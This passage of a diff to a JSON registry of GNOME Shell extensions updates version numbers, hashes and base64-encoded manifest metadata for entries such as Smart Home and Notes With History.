     "47": {"version": "3", "sha256": "0h1yaibcyxgg6y8v89vydjn6zwab5j4lpzjx5kfp21m123a58q9n", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkEgZ25vbWUgc2hlbGwgZXh0ZW5zaW9uIHRoYXQgY3JlYXRlcyBhbiBpbmRpY2F0b3IgaW4gdGhlIHRvcCBiYXIgZm9yIGVhc2lseSBjb250cm9sbGluZyBNaWhvbW8uIiwKICAiZ2V0dGV4dC1kb21haW4iOiAibWlob21vdHJheUBrdXllcm1xaSIsCiAgIm5hbWUiOiAiTWlob21vIFRyYXkiLAogICJzZXR0aW5ncy1zY2hlbWEiOiAib3JnLmdub21lLnNoZWxsLmV4dGVuc2lvbnMubWlob21vdHJheSIsCiAgInNoZWxsLXZlcnNpb24iOiBbCiAgICAiNDciCiAgXSwKICAidXJsIjogImh0dHBzOi8vZ2l0aHViLmNvbS82NTdLQi9nbm9tZS1zaGVsbC1leHRlbnNpb24tbWlob21vLXRyYXkiLAogICJ1dWlkIjogIm1paG9tb3RyYXlAa3V5ZXJtcWkiLAogICJ2ZXJzaW9uIjogMwp9"}
@@ -8861,9 +8888,9 @@
     "48": {"version": "3", "sha256": "1gk0aq7b699vsgk11dagqc0kfwhblvxjkk80bscm5r5ll77saiq4", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIlNob3cgcnBtLW9zdHJlZSBzdGF0dXMgaW4gdGhlIEdOT01FLiIsCiAgIm5hbWUiOiAiT1NUcmVlIFN0YXR1cyIsCiAgInNoZWxsLXZlcnNpb24iOiBbCiAgICAiNDciLAogICAgIjQ4IgogIF0sCiAgInVybCI6ICJodHRwczovL2dpdGh1Yi5jb20vbm9vYnBpbmcvb3N0cmVlLXN0YXR1cy1leHRlbnNpb24iLAogICJ1dWlkIjogIm9zdHJlZS1zdGF0dXNAbm9vYnBpbmcuZGV2IiwKICAidmVyc2lvbiI6IDMKfQ=="}
   }}
 , {"uuid": "smart-home@chlumskyvaclav.gmail.com", "name": "Smart Home", "pname": "smart-home", "description": "With this extension, you can control miscellaneous smart devices on your local network:\n * Home Assistant (lights, plugs, covers, scenes)\n * Philips Hue (Bridge, Syncbox, sync screen, sync music)\n * Nanoleaf devices (lights, scenes, sync screen)\n * Ikea Dirigera (lights, plugs, covers)\n * Shelly devices (lights, plugs, covers)\n\nPlease, report issues or bugs on GitHub.", "link": "https://extensions.gnome.org/extension/7737/smart-home/", "shell_version_map": {
-    "46": {"version": "11", "sha256": "1izzjpwh28k7zjhlppkrvgrxqzs1bzdh4yspnx8a4kxr1l5lfxbk", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIldpdGggdGhpcyBleHRlbnNpb24sIHlvdSBjYW4gY29udHJvbCBtaXNjZWxsYW5lb3VzIHNtYXJ0IGRldmljZXMgb24geW91ciBsb2NhbCBuZXR3b3JrOlxuICogSG9tZSBBc3Npc3RhbnQgKGxpZ2h0cywgcGx1Z3MsIGNvdmVycywgc2NlbmVzKVxuICogUGhpbGlwcyBIdWUgKEJyaWRnZSwgU3luY2JveCwgc3luYyBzY3JlZW4sIHN5bmMgbXVzaWMpXG4gKiBOYW5vbGVhZiBkZXZpY2VzIChsaWdodHMsIHNjZW5lcywgc3luYyBzY3JlZW4pXG4gKiBJa2VhIERpcmlnZXJhIChsaWdodHMsIHBsdWdzLCBjb3ZlcnMpXG4gKiBTaGVsbHkgZGV2aWNlcyAobGlnaHRzLCBwbHVncywgY292ZXJzKVxuXG5QbGVhc2UsIHJlcG9ydCBpc3N1ZXMgb3IgYnVncyBvbiBHaXRIdWIuIiwKICAiZG9uYXRpb25zIjogewogICAgImtvZmkiOiAidmNobHVtIiwKICAgICJwYXlwYWwiOiAidmNobHVtIgogIH0sCiAgImdldHRleHQtZG9tYWluIjogInNtYXJ0LWhvbWUiLAogICJuYW1lIjogIlNtYXJ0IEhvbWUiLAogICJvcmlnaW5hbC1hdXRob3IiOiAiY2hsdW1za3l2YWNsYXZAZ21haWwuY29tIiwKICAic2V0dGluZ3Mtc2NoZW1hIjogIm9yZy5nbm9tZS5zaGVsbC5leHRlbnNpb25zLnNtYXJ0LWhvbWUiLAogICJzaGVsbC12ZXJzaW9uIjogWwogICAgIjQ2IiwKICAgICI0NyIsCiAgICAiNDgiCiAgXSwKICAidXJsIjogImh0dHBzOi8vZ2l0aHViLmNvbS92Y2hsdW0vc21hcnQtaG9tZSIsCiAgInV1aWQiOiAic21hcnQtaG9tZUBjaGx1bXNreXZhY2xhdi5nbWFpbC5jb20iLAogICJ2ZXJzaW9uIjogMTEKfQ=="},
-    "47": {"version": "11", "sha256": "1izzjpwh28k7zjhlppkrvgrxqzs1bzdh4yspnx8a4kxr1l5lfxbk", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIldpdGggdGhpcyBleHRlbnNpb24sIHlvdSBjYW4gY29udHJvbCBtaXNjZWxsYW5lb3VzIHNtYXJ0IGRldmljZXMgb24geW91ciBsb2NhbCBuZXR3b3JrOlxuICogSG9tZSBBc3Npc3RhbnQgKGxpZ2h0cywgcGx1Z3MsIGNvdmVycywgc2NlbmVzKVxuICogUGhpbGlwcyBIdWUgKEJyaWRnZSwgU3luY2JveCwgc3luYyBzY3JlZW4sIHN5bmMgbXVzaWMpXG4gKiBOYW5vbGVhZiBkZXZpY2VzIChsaWdodHMsIHNjZW5lcywgc3luYyBzY3JlZW4pXG4gKiBJa2VhIERpcmlnZXJhIChsaWdodHMsIHBsdWdzLCBjb3ZlcnMpXG4gKiBTaGVsbHkgZGV2aWNlcyAobGlnaHRzLCBwbHVncywgY292ZXJzKVxuXG5QbGVhc2UsIHJlcG9ydCBpc3N1ZXMgb3IgYnVncyBvbiBHaXRIdWIuIiwKICAiZG9uYXRpb25zIjogewogICAgImtvZmkiOiAidmNobHVtIiwKICAgICJwYXlwYWwiOiAidmNobHVtIgogIH0sCiAgImdldHRleHQtZG9tYWluIjogInNtYXJ0LWhvbWUiLAogICJuYW1lIjogIlNtYXJ0IEhvbWUiLAogICJvcmlnaW5hbC1hdXRob3IiOiAiY2hsdW1za3l2YWNsYXZAZ21haWwuY29tIiwKICAic2V0dGluZ3Mtc2NoZW1hIjogIm9yZy5nbm9tZS5zaGVsbC5leHRlbnNpb25zLnNtYXJ0LWhvbWUiLAogICJzaGVsbC12ZXJzaW9uIjogWwogICAgIjQ2IiwKICAgICI0NyIsCiAgICAiNDgiCiAgXSwKICAidXJsIjogImh0dHBzOi8vZ2l0aHViLmNvbS92Y2hsdW0vc21hcnQtaG9tZSIsCiAgInV1aWQiOiAic21hcnQtaG9tZUBjaGx1bXNreXZhY2xhdi5nbWFpbC5jb20iLAogICJ2ZXJzaW9uIjogMTEKfQ=="},
-    "48": {"version": "11", "sha256": "1izzjpwh28k7zjhlppkrvgrxqzs1bzdh4yspnx8a4kxr1l5lfxbk", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIldpdGggdGhpcyBleHRlbnNpb24sIHlvdSBjYW4gY29udHJvbCBtaXNjZWxsYW5lb3VzIHNtYXJ0IGRldmljZXMgb24geW91ciBsb2NhbCBuZXR3b3JrOlxuICogSG9tZSBBc3Npc3RhbnQgKGxpZ2h0cywgcGx1Z3MsIGNvdmVycywgc2NlbmVzKVxuICogUGhpbGlwcyBIdWUgKEJyaWRnZSwgU3luY2JveCwgc3luYyBzY3JlZW4sIHN5bmMgbXVzaWMpXG4gKiBOYW5vbGVhZiBkZXZpY2VzIChsaWdodHMsIHNjZW5lcywgc3luYyBzY3JlZW4pXG4gKiBJa2VhIERpcmlnZXJhIChsaWdodHMsIHBsdWdzLCBjb3ZlcnMpXG4gKiBTaGVsbHkgZGV2aWNlcyAobGlnaHRzLCBwbHVncywgY292ZXJzKVxuXG5QbGVhc2UsIHJlcG9ydCBpc3N1ZXMgb3IgYnVncyBvbiBHaXRIdWIuIiwKICAiZG9uYXRpb25zIjogewogICAgImtvZmkiOiAidmNobHVtIiwKICAgICJwYXlwYWwiOiAidmNobHVtIgogIH0sCiAgImdldHRleHQtZG9tYWluIjogInNtYXJ0LWhvbWUiLAogICJuYW1lIjogIlNtYXJ0IEhvbWUiLAogICJvcmlnaW5hbC1hdXRob3IiOiAiY2hsdW1za3l2YWNsYXZAZ21haWwuY29tIiwKICAic2V0dGluZ3Mtc2NoZW1hIjogIm9yZy5nbm9tZS5zaGVsbC5leHRlbnNpb25zLnNtYXJ0LWhvbWUiLAogICJzaGVsbC12ZXJzaW9uIjogWwogICAgIjQ2IiwKICAgICI0NyIsCiAgICAiNDgiCiAgXSwKICAidXJsIjogImh0dHBzOi8vZ2l0aHViLmNvbS92Y2hsdW0vc21hcnQtaG9tZSIsCiAgInV1aWQiOiAic21hcnQtaG9tZUBjaGx1bXNreXZhY2xhdi5nbWFpbC5jb20iLAogICJ2ZXJzaW9uIjogMTEKfQ=="}
+    "46": {"version": "13", "sha256": "0glr7z1ggswxj1qq90nqd1c36bnx23bgxa26d8300xb4avzxpfyz", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIldpdGggdGhpcyBleHRlbnNpb24sIHlvdSBjYW4gY29udHJvbCBtaXNjZWxsYW5lb3VzIHNtYXJ0IGRldmljZXMgb24geW91ciBsb2NhbCBuZXR3b3JrOlxuICogSG9tZSBBc3Npc3RhbnQgKGxpZ2h0cywgcGx1Z3MsIGNvdmVycywgc2NlbmVzKVxuICogUGhpbGlwcyBIdWUgKEJyaWRnZSwgU3luY2JveCwgc3luYyBzY3JlZW4sIHN5bmMgbXVzaWMpXG4gKiBOYW5vbGVhZiBkZXZpY2VzIChsaWdodHMsIHNjZW5lcywgc3luYyBzY3JlZW4pXG4gKiBJa2VhIERpcmlnZXJhIChsaWdodHMsIHBsdWdzLCBjb3ZlcnMpXG4gKiBTaGVsbHkgZGV2aWNlcyAobGlnaHRzLCBwbHVncywgY292ZXJzKVxuXG5QbGVhc2UsIHJlcG9ydCBpc3N1ZXMgb3IgYnVncyBvbiBHaXRIdWIuIiwKICAiZG9uYXRpb25zIjogewogICAgImtvZmkiOiAidmNobHVtIiwKICAgICJwYXlwYWwiOiAidmNobHVtIgogIH0sCiAgImdldHRleHQtZG9tYWluIjogInNtYXJ0LWhvbWUiLAogICJuYW1lIjogIlNtYXJ0IEhvbWUiLAogICJvcmlnaW5hbC1hdXRob3IiOiAiY2hsdW1za3l2YWNsYXZAZ21haWwuY29tIiwKICAic2V0dGluZ3Mtc2NoZW1hIjogIm9yZy5nbm9tZS5zaGVsbC5leHRlbnNpb25zLnNtYXJ0LWhvbWUiLAogICJzaGVsbC12ZXJzaW9uIjogWwogICAgIjQ2IiwKICAgICI0NyIsCiAgICAiNDgiCiAgXSwKICAidXJsIjogImh0dHBzOi8vZ2l0aHViLmNvbS92Y2hsdW0vc21hcnQtaG9tZSIsCiAgInV1aWQiOiAic21hcnQtaG9tZUBjaGx1bXNreXZhY2xhdi5nbWFpbC5jb20iLAogICJ2ZXJzaW9uIjogMTMKfQ=="},
+    "47": {"version": "13", "sha256": "0glr7z1ggswxj1qq90nqd1c36bnx23bgxa26d8300xb4avzxpfyz", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIldpdGggdGhpcyBleHRlbnNpb24sIHlvdSBjYW4gY29udHJvbCBtaXNjZWxsYW5lb3VzIHNtYXJ0IGRldmljZXMgb24geW91ciBsb2NhbCBuZXR3b3JrOlxuICogSG9tZSBBc3Npc3RhbnQgKGxpZ2h0cywgcGx1Z3MsIGNvdmVycywgc2NlbmVzKVxuICogUGhpbGlwcyBIdWUgKEJyaWRnZSwgU3luY2JveCwgc3luYyBzY3JlZW4sIHN5bmMgbXVzaWMpXG4gKiBOYW5vbGVhZiBkZXZpY2VzIChsaWdodHMsIHNjZW5lcywgc3luYyBzY3JlZW4pXG4gKiBJa2VhIERpcmlnZXJhIChsaWdodHMsIHBsdWdzLCBjb3ZlcnMpXG4gKiBTaGVsbHkgZGV2aWNlcyAobGlnaHRzLCBwbHVncywgY292ZXJzKVxuXG5QbGVhc2UsIHJlcG9ydCBpc3N1ZXMgb3IgYnVncyBvbiBHaXRIdWIuIiwKICAiZG9uYXRpb25zIjogewogICAgImtvZmkiOiAidmNobHVtIiwKICAgICJwYXlwYWwiOiAidmNobHVtIgogIH0sCiAgImdldHRleHQtZG9tYWluIjogInNtYXJ0LWhvbWUiLAogICJuYW1lIjogIlNtYXJ0IEhvbWUiLAogICJvcmlnaW5hbC1hdXRob3IiOiAiY2hsdW1za3l2YWNsYXZAZ21haWwuY29tIiwKICAic2V0dGluZ3Mtc2NoZW1hIjogIm9yZy5nbm9tZS5zaGVsbC5leHRlbnNpb25zLnNtYXJ0LWhvbWUiLAogICJzaGVsbC12ZXJzaW9uIjogWwogICAgIjQ2IiwKICAgICI0NyIsCiAgICAiNDgiCiAgXSwKICAidXJsIjogImh0dHBzOi8vZ2l0aHViLmNvbS92Y2hsdW0vc21hcnQtaG9tZSIsCiAgInV1aWQiOiAic21hcnQtaG9tZUBjaGx1bXNreXZhY2xhdi5nbWFpbC5jb20iLAogICJ2ZXJzaW9uIjogMTMKfQ=="},
+    "48": {"version": "13", "sha256": "0glr7z1ggswxj1qq90nqd1c36bnx23bgxa26d8300xb4avzxpfyz", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIldpdGggdGhpcyBleHRlbnNpb24sIHlvdSBjYW4gY29udHJvbCBtaXNjZWxsYW5lb3VzIHNtYXJ0IGRldmljZXMgb24geW91ciBsb2NhbCBuZXR3b3JrOlxuICogSG9tZSBBc3Npc3RhbnQgKGxpZ2h0cywgcGx1Z3MsIGNvdmVycywgc2NlbmVzKVxuICogUGhpbGlwcyBIdWUgKEJyaWRnZSwgU3luY2JveCwgc3luYyBzY3JlZW4sIHN5bmMgbXVzaWMpXG4gKiBOYW5vbGVhZiBkZXZpY2VzIChsaWdodHMsIHNjZW5lcywgc3luYyBzY3JlZW4pXG4gKiBJa2VhIERpcmlnZXJhIChsaWdodHMsIHBsdWdzLCBjb3ZlcnMpXG4gKiBTaGVsbHkgZGV2aWNlcyAobGlnaHRzLCBwbHVncywgY292ZXJzKVxuXG5QbGVhc2UsIHJlcG9ydCBpc3N1ZXMgb3IgYnVncyBvbiBHaXRIdWIuIiwKICAiZG9uYXRpb25zIjogewogICAgImtvZmkiOiAidmNobHVtIiwKICAgICJwYXlwYWwiOiAidmNobHVtIgogIH0sCiAgImdldHRleHQtZG9tYWluIjogInNtYXJ0LWhvbWUiLAogICJuYW1lIjogIlNtYXJ0IEhvbWUiLAogICJvcmlnaW5hbC1hdXRob3IiOiAiY2hsdW1za3l2YWNsYXZAZ21haWwuY29tIiwKICAic2V0dGluZ3Mtc2NoZW1hIjogIm9yZy5nbm9tZS5zaGVsbC5leHRlbnNpb25zLnNtYXJ0LWhvbWUiLAogICJzaGVsbC12ZXJzaW9uIjogWwogICAgIjQ2IiwKICAgICI0NyIsCiAgICAiNDgiCiAgXSwKICAidXJsIjogImh0dHBzOi8vZ2l0aHViLmNvbS92Y2hsdW0vc21hcnQtaG9tZSIsCiAgInV1aWQiOiAic21hcnQtaG9tZUBjaGx1bXNreXZhY2xhdi5nbWFpbC5jb20iLAogICJ2ZXJzaW9uIjogMTMKfQ=="}
   }}
 , {"uuid": "top-panel-genmon-vpnip@cyberol.codes", "name": "Kali Track", "pname": "kali-track", "description": "Displays the VPN IP address in the top bar when a VPN connection is active. Click to copy the IP address to the clipboard.", "link": "https://extensions.gnome.org/extension/7741/kali-track/", "shell_version_map": {
     "47": {"version": "6", "sha256": "1ly1g3i0lf94wnq0za01dlp1s2j9qjcfkcdf1vyjawzndgjn4fck", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkRpc3BsYXlzIHRoZSBWUE4gSVAgYWRkcmVzcyBpbiB0aGUgdG9wIGJhciB3aGVuIGEgVlBOIGNvbm5lY3Rpb24gaXMgYWN0aXZlLiBDbGljayB0byBjb3B5IHRoZSBJUCBhZGRyZXNzIHRvIHRoZSBjbGlwYm9hcmQuIiwKICAibmFtZSI6ICJLYWxpIFRyYWNrIiwKICAic2V0dGluZ3Mtc2NoZW1hIjogIm9yZy5nbm9tZS5zaGVsbC5leHRlbnNpb25zLnZwbi1pcC1pbmRpY2F0b3IiLAogICJzaGVsbC12ZXJzaW9uIjogWwogICAgIjQ3IiwKICAgICI0OCIKICBdLAogICJ1cmwiOiAiaHR0cHM6Ly9naXRodWIuY29tL3NhcnRoYWtwcml5YWRhcnNoaS9nbm9tZS1wYW5lbC1nZW5tb24tdnBuaXAvIiwKICAidXVpZCI6ICJ0b3AtcGFuZWwtZ2VubW9uLXZwbmlwQGN5YmVyb2wuY29kZXMiLAogICJ2ZXJzaW9uIjogNgp9"},
@@ -8985,19 +9012,19 @@
     "46": {"version": "1", "sha256": "1j4nrb5zdz9aixyyxsn2smy3vjfnd8ahv0czlrwzzfs9bpkhl1x9", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkFkZCBhIHNsaWRlciBmb3IgTmlnaHQgTGlnaHQgdGVtcGVyYXR1cmUgdG8gdGhlIFF1aWNrIFNldHRpbmdzIG1lbnUuIiwKICAibmFtZSI6ICJOaWdodCBMaWdodCBTbGlkZXIiLAogICJzaGVsbC12ZXJzaW9uIjogWwogICAgIjQ1IiwKICAgICI0NiIsCiAgICAiNDciCiAgXSwKICAidXJsIjogImh0dHBzOi8vZ2l0aHViLmNvbS9kZXZvc2Nhcm0vbmlnaHQtbGlnaHQtc2xpZGVyIiwKICAidXVpZCI6ICJuaWdodC1saWdodC1zbGlkZXJAZGV2b3NjYXJtLmdpdGh1Yi5jb20iLAogICJ2ZXJzaW9uIjogMQp9"},
     "47": {"version": "1", "sha256": "1j4nrb5zdz9aixyyxsn2smy3vjfnd8ahv0czlrwzzfs9bpkhl1x9", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkFkZCBhIHNsaWRlciBmb3IgTmlnaHQgTGlnaHQgdGVtcGVyYXR1cmUgdG8gdGhlIFF1aWNrIFNldHRpbmdzIG1lbnUuIiwKICAibmFtZSI6ICJOaWdodCBMaWdodCBTbGlkZXIiLAogICJzaGVsbC12ZXJzaW9uIjogWwogICAgIjQ1IiwKICAgICI0NiIsCiAgICAiNDciCiAgXSwKICAidXJsIjogImh0dHBzOi8vZ2l0aHViLmNvbS9kZXZvc2Nhcm0vbmlnaHQtbGlnaHQtc2xpZGVyIiwKICAidXVpZCI6ICJuaWdodC1saWdodC1zbGlkZXJAZGV2b3NjYXJtLmdpdGh1Yi5jb20iLAogICJ2ZXJzaW9uIjogMQp9"}
   }}
-, {"uuid": "notes-with-history@grizzlysmit.smit.id.au", "name": "Notes With History", "pname": "notes-with-history", "description": "A cross between sticky notes and a menu full of notes 🤠.", "link": "https://extensions.gnome.org/extension/7847/notes-with-history/", "shell_version_map": {
-    "46": {"version": "4", "sha256": "151zyf7y20qg8n558wbk4sh6kw7vz0zgvpchk85c68h5d0f9f9i2", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImNyZWRpdHMiOiAiKEMpIEZyYW5jaXMgR3JpenpseSBTbWl0IFx1ZDgzZVx1ZGQyMFxuXG5MaWNlbmNlIEdQTCB2MysiLAogICJkZXNjcmlwdGlvbiI6ICJBIGNyb3NzIGJldHdlZW4gc3RpY2t5IG5vdGVzIGFuZCBhIG1lbnUgZnVsbCBvZiBub3RlcyBcdWQ4M2VcdWRkMjAuIiwKICAiZ2V0dGV4dC1kb21haW4iOiAibm90ZXMtd2l0aC1oaXN0b3J5IiwKICAibmFtZSI6ICJOb3RlcyBXaXRoIEhpc3RvcnkiLAogICJzZXR0aW5ncy1zY2hlbWEiOiAib3JnLmdub21lLnNoZWxsLmV4dGVuc2lvbnMubm90ZXMtd2l0aC1oaXN0b3J5IiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0NiIsCiAgICAiNDciLAogICAgIjQ4IgogIF0sCiAgInVybCI6ICJodHRwczovL2dpdGh1Yi5jb20vZ3JpenpseXNtaXQvbm90ZXMtd2l0aC1oaXN0b3J5IiwKICAidXVpZCI6ICJub3Rlcy13aXRoLWhpc3RvcnlAZ3JpenpseXNtaXQuc21pdC5pZC5hdSIsCiAgInZlcnNpb24iOiA0Cn0="},
-    "47": {"version": "4", "sha256": "151zyf7y20qg8n558wbk4sh6kw7vz0zgvpchk85c68h5d0f9f9i2", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImNyZWRpdHMiOiAiKEMpIEZyYW5jaXMgR3JpenpseSBTbWl0IFx1ZDgzZVx1ZGQyMFxuXG5MaWNlbmNlIEdQTCB2MysiLAogICJkZXNjcmlwdGlvbiI6ICJBIGNyb3NzIGJldHdlZW4gc3RpY2t5IG5vdGVzIGFuZCBhIG1lbnUgZnVsbCBvZiBub3RlcyBcdWQ4M2VcdWRkMjAuIiwKICAiZ2V0dGV4dC1kb21haW4iOiAibm90ZXMtd2l0aC1oaXN0b3J5IiwKICAibmFtZSI6ICJOb3RlcyBXaXRoIEhpc3RvcnkiLAogICJzZXR0aW5ncy1zY2hlbWEiOiAib3JnLmdub21lLnNoZWxsLmV4dGVuc2lvbnMubm90ZXMtd2l0aC1oaXN0b3J5IiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0NiIsCiAgICAiNDciLAogICAgIjQ4IgogIF0sCiAgInVybCI6ICJodHRwczovL2dpdGh1Yi5jb20vZ3JpenpseXNtaXQvbm90ZXMtd2l0aC1oaXN0b3J5IiwKICAidXVpZCI6ICJub3Rlcy13aXRoLWhpc3RvcnlAZ3JpenpseXNtaXQuc21pdC5pZC5hdSIsCiAgInZlcnNpb24iOiA0Cn0="},
-    "48": {"version": "4", "sha256": "151zyf7y20qg8n558wbk4sh6kw7vz0zgvpchk85c68h5d0f9f9i2", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImNyZWRpdHMiOiAiKEMpIEZyYW5jaXMgR3JpenpseSBTbWl0IFx1ZDgzZVx1ZGQyMFxuXG5MaWNlbmNlIEdQTCB2MysiLAogICJkZXNjcmlwdGlvbiI6ICJBIGNyb3NzIGJldHdlZW4gc3RpY2t5IG5vdGVzIGFuZCBhIG1lbnUgZnVsbCBvZiBub3RlcyBcdWQ4M2VcdWRkMjAuIiwKICAiZ2V0dGV4dC1kb21haW4iOiAibm90ZXMtd2l0aC1oaXN0b3J5IiwKICAibmFtZSI6ICJOb3RlcyBXaXRoIEhpc3RvcnkiLAogICJzZXR0aW5ncy1zY2hlbWEiOiAib3JnLmdub21lLnNoZWxsLmV4dGVuc2lvbnMubm90ZXMtd2l0aC1oaXN0b3J5IiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0NiIsCiAgICAiNDciLAogICAgIjQ4IgogIF0sCiAgInVybCI6ICJodHRwczovL2dpdGh1Yi5jb20vZ3JpenpseXNtaXQvbm90ZXMtd2l0aC1oaXN0b3J5IiwKICAidXVpZCI6ICJub3Rlcy13aXRoLWhpc3RvcnlAZ3JpenpseXNtaXQuc21pdC5pZC5hdSIsCiAgInZlcnNpb24iOiA0Cn0="}
+, {"uuid": "notes-with-history@grizzlysmit.smit.id.au", "name": "Notes With History", "pname": "notes-with-history", "description": "A cross between sticky notes and a menu full of notes 🤠.\n\nYou can now change the icon in the the settings.", "link": "https://extensions.gnome.org/extension/7847/notes-with-history/", "shell_version_map": {
+    "46": {"version": "6", "sha256": "1xavl21avlwrs6rgmzjn5qy5nydd1fmlbp5n0zk2bycr3l11704a", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImNyZWRpdHMiOiAiKEMpIEZyYW5jaXMgR3JpenpseSBTbWl0IFx1ZDgzZVx1ZGQyMFxuXG5MaWNlbmNlIEdQTCB2MysiLAogICJkZXNjcmlwdGlvbiI6ICJBIGNyb3NzIGJldHdlZW4gc3RpY2t5IG5vdGVzIGFuZCBhIG1lbnUgZnVsbCBvZiBub3RlcyBcdWQ4M2VcdWRkMjAuXG5cbllvdSBjYW4gbm93IGNoYW5nZSB0aGUgaWNvbiBpbiB0aGUgdGhlIHNldHRpbmdzLiIsCiAgImdldHRleHQtZG9tYWluIjogIm5vdGVzLXdpdGgtaGlzdG9yeSIsCiAgIm5hbWUiOiAiTm90ZXMgV2l0aCBIaXN0b3J5IiwKICAic2V0dGluZ3Mtc2NoZW1hIjogIm9yZy5nbm9tZS5zaGVsbC5leHRlbnNpb25zLm5vdGVzLXdpdGgtaGlzdG9yeSIsCiAgInNoZWxsLXZlcnNpb24iOiBbCiAgICAiNDYiLAogICAgIjQ3IiwKICAgICI0OCIKICBdLAogICJ1cmwiOiAiaHR0cHM6Ly9naXRodWIuY29tL2dyaXp6bHlzbWl0L25vdGVzLXdpdGgtaGlzdG9yeSIsCiAgInV1aWQiOiAibm90ZXMtd2l0aC1oaXN0b3J5QGdyaXp6bHlzbWl0LnNtaXQuaWQuYXUiLAogICJ2ZXJzaW9uIjogNgp9"},
+    "47": {"version": "6", "sha256": "1xavl21avlwrs6rgmzjn5qy5nydd1fmlbp5n0zk2bycr3l11704a", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImNyZWRpdHMiOiAiKEMpIEZyYW5jaXMgR3JpenpseSBTbWl0IFx1ZDgzZVx1ZGQyMFxuXG5MaWNlbmNlIEdQTCB2MysiLAogICJkZXNjcmlwdGlvbiI6ICJBIGNyb3NzIGJldHdlZW4gc3RpY2t5IG5vdGVzIGFuZCBhIG1lbnUgZnVsbCBvZiBub3RlcyBcdWQ4M2VcdWRkMjAuXG5cbllvdSBjYW4gbm93IGNoYW5nZSB0aGUgaWNvbiBpbiB0aGUgdGhlIHNldHRpbmdzLiIsCiAgImdldHRleHQtZG9tYWluIjogIm5vdGVzLXdpdGgtaGlzdG9yeSIsCiAgIm5hbWUiOiAiTm90ZXMgV2l0aCBIaXN0b3J5IiwKICAic2V0dGluZ3Mtc2NoZW1hIjogIm9yZy5nbm9tZS5zaGVsbC5leHRlbnNpb25zLm5vdGVzLXdpdGgtaGlzdG9yeSIsCiAgInNoZWxsLXZlcnNpb24iOiBbCiAgICAiNDYiLAogICAgIjQ3IiwKICAgICI0OCIKICBdLAogICJ1cmwiOiAiaHR0cHM6Ly9naXRodWIuY29tL2dyaXp6bHlzbWl0L25vdGVzLXdpdGgtaGlzdG9yeSIsCiAgInV1aWQiOiAibm90ZXMtd2l0aC1oaXN0b3J5QGdyaXp6bHlzbWl0LnNtaXQuaWQuYXUiLAogICJ2ZXJzaW9uIjogNgp9"},
+    "48": {"version": "6", "sha256": "1xavl21avlwrs6rgmzjn5qy5nydd1fmlbp5n0zk2bycr3l11704a", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImNyZWRpdHMiOiAiKEMpIEZyYW5jaXMgR3JpenpseSBTbWl0IFx1ZDgzZVx1ZGQyMFxuXG5MaWNlbmNlIEdQTCB2MysiLAogICJkZXNjcmlwdGlvbiI6ICJBIGNyb3NzIGJldHdlZW4gc3RpY2t5IG5vdGVzIGFuZCBhIG1lbnUgZnVsbCBvZiBub3RlcyBcdWQ4M2VcdWRkMjAuXG5cbllvdSBjYW4gbm93IGNoYW5nZSB0aGUgaWNvbiBpbiB0aGUgdGhlIHNldHRpbmdzLiIsCiAgImdldHRleHQtZG9tYWluIjogIm5vdGVzLXdpdGgtaGlzdG9yeSIsCiAgIm5hbWUiOiAiTm90ZXMgV2l0aCBIaXN0b3J5IiwKICAic2V0dGluZ3Mtc2NoZW1hIjogIm9yZy5nbm9tZS5zaGVsbC5leHRlbnNpb25zLm5vdGVzLXdpdGgtaGlzdG9yeSIsCiAgInNoZWxsLXZlcnNpb24iOiBbCiAgIC